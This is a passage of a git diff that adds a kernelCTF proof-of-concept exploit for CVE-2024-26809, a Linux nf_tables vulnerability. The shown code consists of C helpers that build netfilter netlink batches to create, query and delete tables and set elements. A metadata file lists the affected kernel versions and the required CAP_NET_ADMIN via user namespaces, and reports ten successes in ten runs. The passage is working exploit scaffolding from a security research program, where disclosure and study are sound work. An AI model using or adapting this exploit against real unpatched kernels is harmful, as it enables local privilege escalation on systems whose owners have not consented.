memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create setelem\n"); + } +} + + +void get_setelem(struct nl_sock * socket, char *table_name, char *set_name, char *input_key, int key_len){ + //init msg + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + nfnlmsg_put( + msg, + NL_AUTO_PID, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_SUBSYS_NFTABLES, //SUBSYS + NFT_MSG_GETSETELEM, // TYPE + NLM_F_REQUEST, //NLM_F_ECHO + 2, //FAMILY + 0 //RES_ID + ); + //init msg + struct nl_msg *elem = nlmsg_alloc(); + struct nl_msg *elem_nest = nlmsg_alloc(); + struct nl_msg *elem_key = nlmsg_alloc(); + + nla_put(elem_key, NFTA_DATA_VALUE, key_len, input_key); + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key); + nla_put_nested(elem, 1, elem_nest); + nla_put_string(msg, NFTA_SET_ELEM_LIST_TABLE, table_name); + nla_put_string(msg, NFTA_SET_ELEM_LIST_SET, set_name); + nla_put_nested(msg, NFTA_SET_ELEM_LIST_ELEMENTS, elem); + + int res = nl_send_auto(socket, msg); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + + } +} + +void del_setelem(struct nl_sock * socket, char *table, char *set, char *key, int key_size, char *key_end, int key_end_size){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_DELSETELEM),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + //create test1 + struct nl_msg *elem = nlmsg_alloc(); + struct nl_msg *elem_nest = nlmsg_alloc(); + struct nl_msg *elem_key = nlmsg_alloc(); + struct nl_msg *elem_key_end = nlmsg_alloc(); + nla_put(elem_key, NFTA_DATA_VALUE, key_size, key); + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key); + if(key_end){ + nla_put(elem_key_end, NFTA_DATA_VALUE, key_end_size, key_end); + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY_END, elem_key_end); + } + nla_put_nested(elem, 1, elem_nest); + + nla_put_string(msg2, NFTA_SET_ELEM_LIST_TABLE, table); + nla_put_string(msg2, NFTA_SET_ELEM_LIST_SET, set); + nla_put_nested(msg2, NFTA_SET_ELEM_LIST_ELEMENTS, elem); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len), hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len), hdr3, NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + printf("Delete setelem\n"); + } +} + +struct nlmsghdr * del_setelem_msg(char *table, char *set, char *key, int key_len, char *key_end, int key_end_len, int if_catchall){ + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_DELSETELEM),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + //init msg + struct nl_msg *elem = nlmsg_alloc(); + struct nl_msg *elem_nest = nlmsg_alloc(); + struct nl_msg *elem_key = nlmsg_alloc(); + struct nl_msg *elem_key_end = nlmsg_alloc(); + if(if_catchall){ + nla_put_u32(elem_nest, NFTA_SET_ELEM_FLAGS, htonl(NFT_SET_ELEM_CATCHALL)); + } + else{ + nla_put(elem_key, NFTA_DATA_VALUE, key_len, key); + if(key_end != NULL){ + nla_put(elem_key_end, NFTA_DATA_VALUE, key_end_len, key_end); + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY_END, elem_key_end); + } + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key); + } + nla_put_nested(elem, 1, elem_nest); + + nla_put_string(msg2, NFTA_SET_ELEM_LIST_TABLE, table); + nla_put_string(msg2, NFTA_SET_ELEM_LIST_SET, set); + nla_put_nested(msg2, NFTA_SET_ELEM_LIST_ELEMENTS, elem); + return hdr2; +} + +struct nlmsghdr *new_setelem_msg(char *table_name, char *set_name, void *udata, uint32_t ulen, char *obj_ref, char * input_key, int key_len, char *key_end, int key_end_len){ + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSETELEM),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + //init msg + //create test1 + struct nl_msg *elem = nlmsg_alloc(); + struct nl_msg *elem_nest = nlmsg_alloc(); + struct nl_msg *elem_key = nlmsg_alloc(); + struct nl_msg *elem_end = nlmsg_alloc(); + uint64_t key = input_key; + nla_put(elem_key, NFTA_DATA_VALUE, key_len, input_key); + if(key_end != NULL){ + nla_put(elem_end, NFTA_DATA_VALUE, key_end_len, key_end); + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY_END, elem_end); + } + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key); + if(obj_ref != NULL) + nla_put_string(elem_nest, NFTA_SET_ELEM_OBJREF, obj_ref); + //nla_put_u32(elem_nest, NFTA_SET_ELEM_FLAGS, htonl(NFT_SET_ELEM_CATCHALL)); + if(udata>0){ + nla_put(elem_nest, NFTA_SET_ELEM_USERDATA, ulen, udata); + } + + nla_put_nested(elem, 1, elem_nest); + + nla_put_string(msg2, NFTA_SET_ELEM_LIST_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_ELEM_LIST_SET, set_name); + nla_put_nested(msg2, NFTA_SET_ELEM_LIST_ELEMENTS, elem); + return hdr2; +} diff --git a/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/lts-6.1.79/table.h b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/lts-6.1.79/table.h new file mode 100644 index 000000000..36ff6aff3 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/lts-6.1.79/table.h @@ -0,0 +1,215 @@ +void new_table(struct nl_sock * socket, char *name){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2;//NFPROTO_IPV4; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWTABLE),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + nla_put_string(msg2, NFTA_TABLE_NAME, name); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create table\n"); + } +} + +void get_table(struct nl_sock * socket, char *name){ + //init msg + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + nfnlmsg_put( + msg, + NL_AUTO_PID, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_SUBSYS_NFTABLES, //SUBSYS + NFT_MSG_GETTABLE, // TYPE + NLM_F_REQUEST, //NLM_F_ECHO + 2, //FAMILY + 0 //RES_ID + ); + //init msg + nla_put_string(msg, NFTA_TABLE_NAME, name); + + int res = nl_send_auto(socket, msg); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Get table %s\n",name); + } +} + +void new_table_with_udata(struct nl_sock * socket, char *name,char *udata, int len){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2;//NFPROTO_IPV4; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWTABLE),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + nla_put_string(msg2, NFTA_TABLE_NAME, name); + nla_put(msg2,NFTA_TABLE_USERDATA,len,udata); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create table\n"); + } +} +struct nlmsghdr *del_table_msg(char *table_name){ + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_DELTABLE),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + //init msg + nla_put_string(msg2, NFTA_SET_TABLE, table_name); + return hdr2; +} +void del_table(struct nl_sock * socket, char *table_name){ + + struct nl_msg * msg = nlmsg_alloc(); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_DELTABLE),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + + nla_put_string(msg2, NFTA_TABLE_NAME, table_name); + + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Delete object %s\n",obj_name); + } +} diff --git a/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/metadata.json b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/metadata.json new file mode 100644 index 000000000..020ad0e1e --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/metadata.json @@ -0,0 +1,44 @@ +{ + "$schema":"https://google.github.io/security-research/kernelctf/metadata.schema.v2.json", + "submission_ids":[ + "exp151" + ], + "vulnerability":{ + "patch_commit":"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b0e256f3dd2ba6532f37c5c22e07cb07a36031ee", + "cve":"CVE-2024-26809", + "affected_versions":[ + "6.1.1 - 6.1.82", + "5.15.54 - 5.15.152" + ], + "requirements":{ + "attack_surface":[ + + ], + "capabilities":[ + "CAP_NET_ADMIN" + ], + "kernel_config":[ + "CONFIG_NETFILTER", + "CONFIG_NF_TABLES" + ] + } + }, + "exploits":[ + { + "environment":"lts-6.1.79", + "uses":[ + "userns" + ], + "requires_seperate_kaslr_leak":false, + "stability_notes":"10 times success per 10 times run" + }, + { + "environment":"cos-105-17412.294.34", + "uses":[ + "userns" + ], + "requires_seperate_kaslr_leak":false, + "stability_notes":"10 times success per 10 times run" + } + ] + } diff --git a/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/original.tar.gz b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/original.tar.gz new file mode 100644 index 000000000..d9e282fc9 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/original.tar.gz differ